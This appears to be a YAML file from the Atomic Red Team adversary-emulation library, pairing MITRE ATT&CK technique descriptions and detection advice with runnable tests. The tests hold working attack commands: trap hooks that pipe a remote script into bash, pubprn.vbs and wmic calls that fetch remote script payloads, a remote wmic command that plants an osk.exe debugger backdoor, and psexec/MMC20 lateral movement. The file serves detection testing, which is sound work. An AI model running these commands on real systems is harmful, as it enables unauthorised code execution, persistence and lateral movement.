- name: PubPrn.vbs Signed Script Bypass
description: 'Executes the signed PubPrn.vbs script with options to download
and execute an arbitrary payload.
'
supported_platforms:
- windows
input_arguments:
remote_payload:
description: A remote payload to execute using PubPrn.vbs.
type: Url
default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1216/payloads/T1216.sct
executor:
name: command_prompt
elevation_required: false
command: 'cscript.exe /b C:\Windows\System32\Printing_Admin_Scripts\en-US\pubprn.vbs
localhost "script:#{remote_payload}"
'
T1153:
technique:
x_mitre_data_sources:
- Process monitoring
- File monitoring
- Process command-line parameters
x_mitre_permissions_required:
- User
name: Source
description: |-
The source command loads functions into the current shell or executes files in the current context. This built-in command can be run in two different ways source /path/to/filename [arguments] or . /path/to/filename [arguments]. Take note of the space after the ".". Without a space, a new shell is created that runs the program instead of running the program within the current context. This is often used to make certain features or functions available to a shell or to update a specific shell's environment.(Citation: Source Manual)
Adversaries can abuse this functionality to execute programs. The file executed with this technique does not need to be marked executable beforehand.
x_mitre_remote_support: false
id: attack-pattern--45d84c8b-c1e2-474d-a14d-69b5de0a2bc0
x_mitre_platforms:
- Linux
- macOS
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.1'
type: attack-pattern
x_mitre_detection: Monitor for command shell execution of source and subsequent
processes that are started as a result of being executed by a source command.
Adversaries must also drop a file to disk in order to execute it with source,
and these files can also detected by file monitoring.
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
created: '2017-12-14T16:46:06.044Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: execution
external_references:
- external_id: T1153
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1153
- description: ss64. (n.d.). Source or Dot Operator. Retrieved May 21, 2019.
source_name: Source Manual
url: https://ss64.com/bash/source.html
modified: '2019-05-21T13:24:49.196Z'
identifier: T1153
atomic_tests:
- name: Execute Script using Source
description: 'Creates a script and executes it using the source command
'
supported_platforms:
- macos
- linux
executor:
name: sh
command: |
sh -c "echo 'echo Hello from the Atomic Red Team' > /tmp/art.sh"
chmod +x /tmp/art.sh
source /tmp/art.sh
- name: Execute Script using Source Alias
description: 'Creates a script and executes it using the source command''s dot
alias
'
supported_platforms:
- macos
- linux
executor:
name: sh
command: |
sh -c "echo 'echo Hello from the Atomic Red Team' > /tmp/art.sh"
chmod +x /tmp/art.sh
. /tmp/art.sh
T1151:
technique:
x_mitre_data_sources:
- File monitoring
- Process monitoring
x_mitre_permissions_required:
- User
name: Space after Filename
description: "Adversaries can hide a program's true filetype by changing the
extension of a file. With certain file types (specifically this does not work
with .app extensions), appending a space to the end of a filename will change
how the file is processed by the operating system. For example, if there is
a Mach-O executable file called evil.bin, when it is double clicked by a user,
it will launch Terminal.app and execute. If this file is renamed to evil.txt,
then when double clicked by a user, it will launch with the default text editing
application (not executing the binary). However, if the file is renamed to
\"evil.txt \" (note the space at the end), then when double clicked by a user,
the true file type is determined by the OS and handled appropriately and the
binary will be executed (Citation: Mac Backdoors are back). \n\nAdversaries
can use this feature to trick users into double clicking benign-looking files
of any format and ultimately executing something malicious."
id: attack-pattern--e2907cea-4b43-4ed7-a570-0fdf0fbeea00
x_mitre_platforms:
- Linux
- macOS
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.0'
type: attack-pattern
x_mitre_detection: It's not common for spaces to be at the end of filenames,
so this is something that can easily be checked with file monitoring. From
the user's perspective though, this is very hard to notice from within the
Finder.app or on the command-line in Terminal.app. Processes executed from
binaries containing non-standard extensions in the filename are suspicious.
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
x_mitre_contributors:
- Erye Hernandez, Palo Alto Networks
created: '2017-12-14T16:46:06.044Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: defense-evasion
- kill_chain_name: mitre-attack
phase_name: execution
external_references:
- external_id: T1151
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1151
- source_name: capec
external_id: CAPEC-649
url: https://capec.mitre.org/data/definitions/649.html
- source_name: Mac Backdoors are back
description: Dan Goodin. (2016, July 6). After hiatus, in-the-wild Mac backdoors
are suddenly back. Retrieved July 8, 2017.
url: https://arstechnica.com/security/2016/07/after-hiatus-in-the-wild-mac-backdoors-are-suddenly-back/
modified: '2019-06-18T14:05:31.754Z'
identifier: T1151
atomic_tests:
- name: Space After Filename
description: 'Space After Filename
'
supported_platforms:
- macos
executor:
name: manual
steps: "1. echo '#!/bin/bash\\necho \"print \\\"hello, world!\\\"\" | /usr/bin/python\\nexit'
> execute.txt && chmod +x execute.txt\n\n2. mv execute.txt \"execute.txt
\"\n\n3. ./execute.txt\\ \n"
T1154:
technique:
x_mitre_data_sources:
- File monitoring
- Process monitoring
- Process command-line parameters
x_mitre_permissions_required:
- User
- Administrator
name: Trap
description: 'The trap command allows programs and shells to specify
commands that will be executed upon receiving interrupt signals. A common
situation is a script allowing for graceful termination and handling of common keyboard
interrupts like ctrl+c and ctrl+d. Adversaries can
use this to register code to be executed when the shell encounters specific
interrupts either to gain execution or as a persistence mechanism. Trap commands
are of the following format trap ''command list'' signals where
"command list" will be executed when "signals" are received.(Citation: Trap
Manual)(Citation: Cyberciti Trap Statements)'
x_mitre_remote_support: false
id: attack-pattern--b53dbcc6-147d-48bb-9df4-bcb8bb808ff6
x_mitre_platforms:
- Linux
- macOS
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.1'
type: attack-pattern
x_mitre_detection: Trap commands must be registered for the shell or programs,
so they appear in files. Monitoring files for suspicious or overly broad trap
commands can narrow down suspicious behavior during an investigation. Monitor
for suspicious processes executed through trap interrupts.
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
created: '2017-12-14T16:46:06.044Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: execution
- kill_chain_name: mitre-attack
phase_name: persistence
external_references:
- external_id: T1154
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1154
- description: ss64. (n.d.). trap. Retrieved May 21, 2019.
source_name: Trap Manual
url: https://ss64.com/bash/trap.html
- description: Cyberciti. (2016, March 29). Trap statement. Retrieved May 21,
2019.
source_name: Cyberciti Trap Statements
url: https://bash.cyberciti.biz/guide/Trap_statement
modified: '2019-05-21T13:46:15.452Z'
identifier: T1154
atomic_tests:
- name: Trap
description: |
After exiting the shell, the script will download and execute.
After sending a keyboard interrupt (CTRL+C) the script will download and execute.
supported_platforms:
- macos
- centos
- ubuntu
- linux
executor:
name: sh
command: |
trap 'nohup curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1154/echo-art-fish.sh | bash' EXIT
exit
trap 'nohup curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1154/echo-art-fish.sh | bash' INT
T1127:
technique:
x_mitre_data_sources:
- Process monitoring
x_mitre_permissions_required:
- User
name: Trusted Developer Utilities
description: "There are many utilities used for software development related
tasks that can be used to execute code in various forms to assist in development,
debugging, and reverse engineering. These utilities may often be signed with
legitimate certificates that allow them to execute on a system and proxy execution
of malicious code through a trusted process that effectively bypasses application
whitelisting defensive solutions.\n\n### MSBuild\n\nMSBuild.exe (Microsoft
Build Engine) is a software build platform used by Visual Studio. It takes
XML formatted project files that define requirements for building various
platforms and configurations. (Citation: MSDN MSBuild) \n\nAdversaries can
use MSBuild to proxy execution of code through a trusted Windows utility.
The inline task capability of MSBuild that was introduced in .NET version
4 allows for C# code to be inserted into the XML project file. (Citation:
MSDN MSBuild) Inline Tasks MSBuild will compile and execute the inline task.
MSBuild.exe is a signed Microsoft binary, so when it is used this way it can
execute arbitrary code and bypass application whitelisting defenses that are
configured to allow MSBuild.exe execution. (Citation: LOLBAS Msbuild)\n\n###
DNX\n\nThe .NET Execution Environment (DNX), dnx.exe, is a software development
kit packaged with Visual Studio Enterprise. It was retired in favor of .NET
Core CLI in 2016. (Citation: Microsoft Migrating from DNX) DNX is not present
on standard builds of Windows and may only be present on developer workstations
using older versions of .NET Core and ASP.NET Core 1.0. The dnx.exe executable
is signed by Microsoft. \n\nAn adversary can use dnx.exe to proxy execution
of arbitrary code to bypass application whitelist policies that do not account
for DNX. (Citation: engima0x3 DNX Bypass)\n\n### RCSI\n\nThe rcsi.exe utility
is a non-interactive command-line interface for C# that is similar to csi.exe.
It was provided within an early version of the Roslyn .NET Compiler Platform
but has since been deprecated for an integrated solution. (Citation: Microsoft
Roslyn CPT RCSI) The rcsi.exe binary is signed by Microsoft. (Citation: engima0x3
RCSI Bypass)\n\nC# .csx script files can be written and executed with rcsi.exe
at the command-line. An adversary can use rcsi.exe to proxy execution of arbitrary
code to bypass application whitelisting policies that do not account for execution
of rcsi.exe. (Citation: engima0x3 RCSI Bypass)\n\n### WinDbg/CDB\n\nWinDbg
is a Microsoft Windows kernel and user-mode debugging utility. The Microsoft
Console Debugger (CDB) cdb.exe is also user-mode debugger. Both utilities
are included in Windows software development kits and can be used as standalone
tools. (Citation: Microsoft Debugging Tools for Windows) They are commonly
used in software development and reverse engineering and may not be found
on typical Windows systems. Both WinDbg.exe and cdb.exe binaries are signed
by Microsoft.\n\nAn adversary can use WinDbg.exe and cdb.exe to proxy execution
of arbitrary code to bypass application whitelist policies that do not account
for execution of those utilities. (Citation: Exploit Monday WinDbg)\n\nIt
is likely possible to use other debuggers for similar purposes, such as the
kernel-mode debugger kd.exe, which is also signed by Microsoft.\n\n### Tracker\n\nThe
file tracker utility, tracker.exe, is included with the .NET framework as
part of MSBuild. It is used for logging calls to the Windows file system.
(Citation: Microsoft Docs File Tracking)\n\nAn adversary can use tracker.exe
to proxy execution of an arbitrary DLL into another process. Since tracker.exe
is also signed it can be used to bypass application whitelisting solutions.
(Citation: LOLBAS Tracker)"
x_mitre_remote_support: false
id: attack-pattern--ff25900d-76d5-449b-a351-8824e62fc81b
modified: '2019-07-31T19:44:19.300Z'
x_mitre_platforms:
- Windows
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.1'
x_mitre_system_requirements:
- |-
MSBuild: .NET Framework version 4 or higher
DNX: .NET 4.5.2, Powershell 4.0
RCSI: .NET 4.5 or later, Visual Studio 2012
type: attack-pattern
x_mitre_detection: |-
The presence of these or other utilities that enable proxy execution that are typically used for development, debugging, and reverse engineering on a system that is not used for these purposes may be suspicious.
Use process monitoring to monitor the execution and arguments of MSBuild.exe, dnx.exe, rcsi.exe, WinDbg.exe, cdb.exe, and tracker.exe. Compare recent invocations of those binaries with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. It is likely that these utilities will be used by software developers or for other software development related tasks, so if it exists and is used outside of that context, then the event may be suspicious. Command arguments used before and after invocation of the utilities may also be useful in determining the origin and purpose of the binary being executed.
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
x_mitre_contributors:
- Casey Smith
- Matthew Demaske, Adaptforward
created: '2017-05-31T21:31:39.262Z'
kill_chain_phases:
- phase_name: defense-evasion
kill_chain_name: mitre-attack
- phase_name: execution
kill_chain_name: mitre-attack
external_references:
- source_name: mitre-attack
external_id: T1127
url: https://attack.mitre.org/techniques/T1127
- source_name: MSDN MSBuild
description: Microsoft. (n.d.). MSBuild1. Retrieved November 30, 2016.
url: https://msdn.microsoft.com/library/dd393574.aspx
- description: LOLBAS. (n.d.). Msbuild.exe. Retrieved July 31, 2019.
source_name: LOLBAS Msbuild
url: https://lolbas-project.github.io/lolbas/Binaries/Msbuild/
- source_name: Microsoft Migrating from DNX
description: Knezevic, Z., Wenzel, M. Latham, L. (2016, June 20). Migrating
from DNX to .NET Core CLI (project.json). Retrieved June 28, 2017.
url: https://docs.microsoft.com/en-us/dotnet/core/migration/from-dnx
- source_name: engima0x3 DNX Bypass
description: Nelson, M. (2017, November 17). Bypassing Application Whitelisting
By Using dnx.exe. Retrieved May 25, 2017.
url: https://enigma0x3.net/2016/11/17/bypassing-application-whitelisting-by-using-dnx-exe/
- source_name: Microsoft Roslyn CPT RCSI
description: Osenkov, K. (2011, October 19). Introducing the Microsoft “Roslyn”
CTP. Retrieved June 28, 2017.
url: https://blogs.msdn.microsoft.com/visualstudio/2011/10/19/introducing-the-microsoft-roslyn-ctp/
- source_name: engima0x3 RCSI Bypass
description: Nelson, M. (2016, November 21). Bypassing Application Whitelisting
By Using rcsi.exe. Retrieved May 26, 2017.
url: https://enigma0x3.net/2016/11/21/bypassing-application-whitelisting-by-using-rcsi-exe/
- source_name: Microsoft Debugging Tools for Windows
description: Marshall, D. (2017, May 23). Debugging Tools for Windows (WinDbg,
KD, CDB, NTSD). Retrieved June 29, 2017.
url: https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/index
- source_name: Exploit Monday WinDbg
description: Graeber, M. (2016, August 15). Bypassing Application Whitelisting
by using WinDbg/CDB as a Shellcode Runner. Retrieved May 26, 2017.
url: http://www.exploit-monday.com/2016/08/windbg-cdb-shellcode-runner.html
- source_name: Microsoft Docs File Tracking
description: B, M., Brown, K., Cai, S., Hogenson, G., Warren, G. (2016, November
4). File Tracking. Retrieved November 1, 2017.
url: https://docs.microsoft.com/visualstudio/msbuild/file-tracking
- description: LOLBAS. (n.d.). Tracker.exe. Retrieved July 31, 2019.
source_name: LOLBAS Tracker
url: https://lolbas-project.github.io/lolbas/OtherMSBinaries/Tracker/
x_mitre_defense_bypassed:
- Application whitelisting
identifier: T1127
atomic_tests:
- name: MSBuild Bypass Using Inline Tasks
description: 'Executes the code in a project file using. C# Example
'
supported_platforms:
- windows
input_arguments:
filename:
description: Location of the project file
type: Path
default: T1127.csproj
executor:
name: command_prompt
elevation_required: false
command: 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe #{filename}
'
T1047:
technique:
x_mitre_permissions_required:
- User
- Administrator
x_mitre_data_sources:
- Authentication logs
- Netflow/Enclave netflow
- Process monitoring
- Process command-line parameters
name: Windows Management Instrumentation
description: |-
Windows Management Instrumentation (WMI) is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) (Citation: Wikipedia SMB) and Remote Procedure Call Service (RPCS) (Citation: TechNet RPC) for remote access. RPCS operates over port 135. (Citation: MSDN WMI)
An adversary can use WMI to interact with local and remote systems and use it as a means to perform many tactic functions, such as gathering information for Discovery and remote Execution of files as part of Lateral Movement. (Citation: FireEye WMI 2015)
x_mitre_remote_support: true
id: attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055
x_mitre_platforms:
- Windows
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.0'
x_mitre_system_requirements:
- |-
WMI service, winmgmt, running.
Host/network firewalls allowing SMB and WMI ports from source to destination.
SMB authentication.
type: attack-pattern
x_mitre_detection: 'Monitor network traffic for WMI connections; the use of
WMI in environments that do not typically use WMI may be suspect. Perform
process monitoring to capture command-line arguments of "wmic" and detect
commands that are used to perform remote behavior. (Citation: FireEye WMI
2015)'
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
created: '2017-05-31T21:30:44.329Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: execution
external_references:
- external_id: T1047
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1047
- source_name: Wikipedia SMB
description: Wikipedia. (2016, June 12). Server Message Block. Retrieved June
12, 2016.
url: https://en.wikipedia.org/wiki/Server_Message_Block
- source_name: TechNet RPC
description: Microsoft. (2003, March 28). What Is RPC?. Retrieved June 12,
2016.
url: https://technet.microsoft.com/en-us/library/cc787851.aspx
- source_name: MSDN WMI
description: Microsoft. (n.d.). Windows Management Instrumentation. Retrieved
April 27, 2016.
url: https://msdn.microsoft.com/en-us/library/aa394582.aspx
- source_name: FireEye WMI 2015
description: Ballenthin, W., et al. (2015). Windows Management Instrumentation
(WMI) Offense, Defense, and Forensics. Retrieved March 30, 2016.
url: https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf
modified: '2019-07-17T20:04:40.297Z'
identifier: T1047
atomic_tests:
- name: WMI Reconnaissance Users
description: 'WMI List User Accounts
'
supported_platforms:
- windows
executor:
name: command_prompt
elevation_required: false
command: 'wmic useraccount get /ALL
'
- name: WMI Reconnaissance Processes
description: 'WMI List Processes
'
supported_platforms:
- windows
executor:
name: command_prompt
elevation_required: false
command: 'wmic process get caption,executablepath,commandline
'
- name: WMI Reconnaissance Software
description: 'WMI List Software
'
supported_platforms:
- windows
executor:
name: command_prompt
elevation_required: false
command: 'wmic qfe get description,installedOn /format:csv
'
- name: WMI Reconnaissance List Remote Services
description: 'WMI List Remote Services
'
supported_platforms:
- windows
input_arguments:
node:
description: Ip Address
type: String
default: 192.168.0.1
service_search_string:
description: Name Of Service
type: String
default: sql server
executor:
name: command_prompt
elevation_required: false
command: 'wmic /node:"#{node}" service where (caption like "%#{service_search_string}
(%")
'
T1028:
technique:
x_mitre_data_sources:
- File monitoring
- Authentication logs
- Netflow/Enclave netflow
- Process monitoring
- Process command-line parameters
x_mitre_permissions_required:
- User
- Administrator
name: Windows Remote Management
description: 'Windows Remote Management (WinRM) is the name of both a Windows
service and a protocol that allows a user to interact with a remote system
(e.g., run an executable, modify the Registry, modify services). (Citation:
Microsoft WinRM) It may be called with the winrm command or by
any number of programs such as PowerShell. (Citation: Jacobsen 2014)'
x_mitre_remote_support: true
id: attack-pattern--c3bce4f4-9795-46c6-976e-8676300bbc39
x_mitre_platforms:
- Windows
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.1'
x_mitre_system_requirements:
- WinRM listener turned on and configured on remote system
type: attack-pattern
x_mitre_detection: 'Monitor use of WinRM within an environment by tracking service
execution. If it is not normally used or is disabled, then this may be an
indicator of suspicious behavior. Monitor processes created and actions taken
by the WinRM process or a WinRM invoked script to correlate it with other
related events. (Citation: Medium Detecting Lateral Movement)'
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
created: '2017-05-31T21:30:33.723Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: execution
- kill_chain_name: mitre-attack
phase_name: lateral-movement
external_references:
- external_id: T1028
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1028
- source_name: capec
external_id: CAPEC-555
url: https://capec.mitre.org/data/definitions/555.html
- source_name: Microsoft WinRM
description: Microsoft. (n.d.). Windows Remote Management. Retrieved November
12, 2014.
url: http://msdn.microsoft.com/en-us/library/aa384426
- description: Jacobsen, K. (2014, May 16). Lateral Movement with PowerShell[slides].
Retrieved November 12, 2014.
source_name: Jacobsen 2014
url: https://www.slideshare.net/kieranjacobsen/lateral-movement-with-power-shell-2
- description: French, D. (2018, September 30). Detecting Lateral Movement Using
Sysmon and Splunk. Retrieved October 11, 2019.
source_name: Medium Detecting Lateral Movement
url: https://medium.com/threatpunter/detecting-lateral-movement-using-sysmon-and-splunk-318d3be141bc
modified: '2019-10-15T18:44:56.438Z'
identifier: T1028
atomic_tests:
- name: Enable Windows Remote Management
description: 'Powershell Enable WinRM
'
supported_platforms:
- windows
executor:
name: powershell
elevation_required: true
command: 'Enable-PSRemoting -Force
'
- name: PowerShell Lateral Movement
description: |
Powershell lateral movement using the mmc20 application com object
Reference:
https://blog.cobaltstrike.com/2017/01/24/scripting-matt-nelsons-mmc20-application-lateral-movement-technique/
supported_platforms:
- windows
input_arguments:
computer_name:
description: Name of Computer
type: string
default: computer1
executor:
name: command_prompt
command: 'powershell.exe [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.application","#{computer_name}")).Documnet.ActiveView.ExecuteShellCommand("c:\windows\system32\calc.exe",
$null, $null, "7")
'
- name: WMIC Process Call Create
description: 'Utilize WMIC to start remote process
'
supported_platforms:
- windows
input_arguments:
user_name:
description: Username
type: String
default: DOMAIN\Administrator
password:
description: Password
type: String
default: P@ssw0rd1
computer_name:
description: Target Computer Name
type: String
default: Target
executor:
name: command_prompt
command: 'wmic /user:#{user_name} /password:#{password} /node:#{computer_name}
process call create "C:\Windows\system32\reg.exe add \"HKLM\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Image File Execution Options\osk.exe\" /v \"Debugger\"
/t REG_SZ /d \"cmd.exe\" /f"
'
- name: Psexec
description: 'Utilize psexec to start remote process
'
supported_platforms:
- windows
input_arguments:
user_name:
description: Username
type: String
default: DOMAIN\Administrator
password:
description: Password
type: String
default: P@ssw0rd1
computer_name:
description: Target Computer Name
type: String
default: Target
executor:
name: command_prompt
command: 'psexec \\host -u domain\user -p password -s cmd.exe
'
- name: Invoke-Command
description: 'Execute Invoke-command on remote host
'
supported_platforms:
- windows
input_arguments:
host_name:
description: Remote Windows Host Name
type: String
default: Test
remote_command:
description: Command to execute on remote Host
type: String
default: ipconfig
executor:
name: powershell
command: 'invoke-command -computer_name #{host_name} -scriptblock {#{remote_command}}
'
T1220:
technique:
x_mitre_data_sources:
- Process monitoring
- Process command-line parameters
- Process use of network
- DLL monitoring
x_mitre_permissions_required:
- User
name: XSL Script Processing
description: |-
Extensible Stylesheet Language (XSL) files are commonly used to describe the processing and rendering of data within XML files. To support complex operations, the XSL standard includes support for embedded scripting in various languages. (Citation: Microsoft XSLT Script Mar 2017)
Adversaries may abuse this functionality to execute arbitrary files while potentially bypassing application whitelisting defenses. Similar to [Trusted Developer Utilities](https://attack.mitre.org/techniques/T1127), the Microsoft common line transformation utility binary (msxsl.exe) (Citation: Microsoft msxsl.exe) can be installed and used to execute malicious JavaScript embedded within local or remote (URL referenced) XSL files. (Citation: Penetration Testing Lab MSXSL July 2017) Since msxsl.exe is not installed by default, an adversary will likely need to package it with dropped files. (Citation: Reaqta MSXSL Spearphishing MAR 2018) Msxsl.exe takes two main arguments, an XML source file and an XSL stylesheet. Since the XSL file is valid XML, the adversary may call the same XSL file twice. When using msxsl.exe adversaries may also give the XML/XSL files an arbitrary file extension.(Citation: XSL Bypass Mar 2019)
Command-line examples:(Citation: Penetration Testing Lab MSXSL July 2017)(Citation: XSL Bypass Mar 2019)
* msxsl.exe customers[.]xml script[.]xsl
* msxsl.exe script[.]xsl script[.]xsl
* msxsl.exe script[.]jpeg script[.]jpeg
Another variation of this technique, dubbed “Squiblytwo”, involves using [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) to invoke JScript or VBScript within an XSL file.(Citation: LOLBAS Wmic) This technique can also execute local/remote scripts and, similar to its [Regsvr32](https://attack.mitre.org/techniques/T1117)/ "Squiblydoo" counterpart, leverages a trusted, built-in Windows tool. Adversaries may abuse any alias in [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) provided they utilize the /FORMAT switch.(Citation: XSL Bypass Mar 2019)
Command-line examples:(Citation: XSL Bypass Mar 2019)(Citation: LOLBAS Wmic)
* Local File: wmic process list /FORMAT:evil[.]xsl
* Remote File: wmic os get /FORMAT:”https[:]//example[.]com/evil[.]xsl”
x_mitre_remote_support: false
id: attack-pattern--ebbe170d-aa74-4946-8511-9921243415a3
modified: '2019-09-12T17:29:15.626Z'
x_mitre_platforms:
- Windows
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.1'
x_mitre_system_requirements:
- Microsoft Core XML Services (MSXML) or access to wmic.exe
type: attack-pattern
x_mitre_detection: |-
Use process monitoring to monitor the execution and arguments of msxsl.exe and wmic.exe. Compare recent invocations of these utilities with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity (ex: URL command line arguments, creation of external network connections, loading of DLLs associated with scripting). (Citation: LOLBAS Wmic) (Citation: Twitter SquiblyTwo Detection APR 2018) Command arguments used before and after the script invocation may also be useful in determining the origin and purpose of the payload being loaded.
The presence of msxsl.exe or other utilities that enable proxy execution that are typically used for development, debugging, and reverse engineering on a system that is not used for these purposes may be suspicious.
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
x_mitre_contributors:
- Avneet Singh
- Casey Smith
- Praetorian
created: '2018-10-17T00:14:20.652Z'
kill_chain_phases:
- phase_name: defense-evasion
kill_chain_name: mitre-attack
- phase_name: execution
kill_chain_name: mitre-attack
external_references:
- source_name: mitre-attack
external_id: T1220
url: https://attack.mitre.org/techniques/T1220
- source_name: Microsoft XSLT Script Mar 2017
description: Wenzel, M. et al. (2017, March 30). XSLT Stylesheet Scripting
Using . Retrieved July 3, 2018.
url: https://docs.microsoft.com/dotnet/standard/data/xml/xslt-stylesheet-scripting-using-msxsl-script
- source_name: Microsoft msxsl.exe
description: Microsoft. (n.d.). Command Line Transformation Utility (msxsl.exe).
Retrieved July 3, 2018.
url: https://www.microsoft.com/download/details.aspx?id=21714
- source_name: Penetration Testing Lab MSXSL July 2017
description: netbiosX. (2017, July 6). AppLocker Bypass – MSXSL. Retrieved
July 3, 2018.
url: https://pentestlab.blog/2017/07/06/applocker-bypass-msxsl/
- source_name: Reaqta MSXSL Spearphishing MAR 2018
description: Admin. (2018, March 2). Spear-phishing campaign leveraging on
MSXSL. Retrieved July 3, 2018.
url: https://reaqta.com/2018/03/spear-phishing-campaign-leveraging-msxsl/
- source_name: XSL Bypass Mar 2019
description: Singh, A. (2019, March 14). MSXSL.EXE and WMIC.EXE — A Way to
Proxy Code Execution. Retrieved August 2, 2019.
url: https://medium.com/@threathuntingteam/msxsl-exe-and-wmic-exe-a-way-to-proxy-code-execution-8d524f642b75
- description: LOLBAS. (n.d.). Wmic.exe. Retrieved July 31, 2019.
source_name: LOLBAS Wmic
url: https://lolbas-project.github.io/lolbas/Binaries/Wmic/
- source_name: Twitter SquiblyTwo Detection APR 2018
description: Desimone, J. (2018, April 18). Status Update. Retrieved July
3, 2018.
url: https://twitter.com/dez_/status/986614411711442944
x_mitre_defense_bypassed:
- Anti-virus
- Application whitelisting
- Digital Certificate Validation
identifier: T1220
atomic_tests:
- name: MSXSL Bypass using local files
description: 'Executes the code specified within a XSL script tag during XSL
transformation using a local payload. Requires download of MSXSL from Microsoft
at https://www.microsoft.com/en-us/download/details.aspx?id=21714.
'
supported_platforms:
- windows
input_arguments:
xmlfile:
description: Location of the test XML file on the local filesystem.
type: Path
default: C:\AtomicRedTeam\atomics\T1220\src\msxslxmlfile.xml
xslfile:
description: Location of the test XSL script file on the local filesystem.
type: Path
default: C:\AtomicRedTeam\atomics\T1220\src\msxslscript.xsl
executor:
name: command_prompt
command: 'C:\Windows\Temp\msxsl.exe #{xmlfile} #{xslfile}
'
- name: MSXSL Bypass using remote files
description: 'Executes the code specified within a XSL script tag during XSL
transformation using a remote payload. Requires download of MSXSL from Microsoft
at https://www.microsoft.com/en-us/download/details.aspx?id=21714.
'
supported_platforms:
- windows
input_arguments:
xmlfile:
description: Remote location (URL) of the test XML file.
type: Url
default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1220/src/msxslxmlfile.xml
xslfile:
description: Remote location (URL) of the test XSL script file.
type: Url
default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1220/src/msxslscript.xsl
executor:
name: command_prompt
command: 'C:\Windows\Temp\msxsl.exe #{xmlfile} #{xslfile}
'
- name: WMIC bypass using local XSL file
description: 'Executes the code specified within a XSL script using a local
payload.
'
supported_platforms:
- windows
input_arguments:
wmic_command:
description: WMI command to execute using wmic.exe
type: string
default: process list
local_xsl_file:
description: Location of the test XSL script file on the local filesystem.
type: path
default: C:\AtomicRedTeam\atomics\T1220\src\wmicscript.xsl
executor:
name: command_prompt
command: 'wmic.exe #{wmic_command} /FORMAT:#{local_xsl_file}
'
- name: WMIC bypass using remote XSL file
description: 'Executes the code specified within a XSL script using a remote
payload.
'
supported_platforms:
- windows
input_arguments:
wmic_command:
description: WMI command to execute using wmic.exe
type: string
default: process list
remote_xsl_file:
description: Remote location of an XSL payload.
type: url
default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1220/src/wmicscript.xsl
executor:
name: command_prompt
command: 'wmic.exe #{wmic_command} /FORMAT:#{remote_xsl_file}
'
lateral-movement:
T1155:
technique:
x_mitre_data_sources:
- API monitoring
- System calls
- Process monitoring
- Process command-line parameters
x_mitre_permissions_required:
- User
name: AppleScript
description: "macOS and OS X applications send AppleEvent messages to each other
for interprocess communications (IPC). These messages can be easily scripted
with AppleScript for local or remote IPC. Osascript executes AppleScript and
any other Open Scripting Architecture (OSA) language scripts. A list of OSA
languages installed on a system can be found by using the osalang
program.\nAppleEvent messages can be sent independently or as part of a script.
These events can locate open windows, send keystrokes, and interact with almost
any open application locally or remotely. \n\nAdversaries can use this to
interact with open SSH connection, move to remote machines, and even present
users with fake dialog boxes. These events cannot start applications remotely
(they can start them locally though), but can interact with applications if
they're already running remotely. Since this is a scripting language, it can
be used to launch more common techniques as well such as a reverse shell via
python (Citation: Macro Malware Targets Macs). Scripts can be run from the
command-line via osascript /path/to/script or osascript
-e \"script here\"."
x_mitre_remote_support: true
id: attack-pattern--5ad95aaa-49c1-4784-821d-2e83f47b079b
x_mitre_platforms:
- macOS
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.0'
type: attack-pattern
x_mitre_detection: Monitor for execution of AppleScript through osascript that
may be related to other suspicious behavior occurring on the system.
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
created: '2017-12-14T16:46:06.044Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: execution
- kill_chain_name: mitre-attack
phase_name: lateral-movement
external_references:
- external_id: T1155
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1155
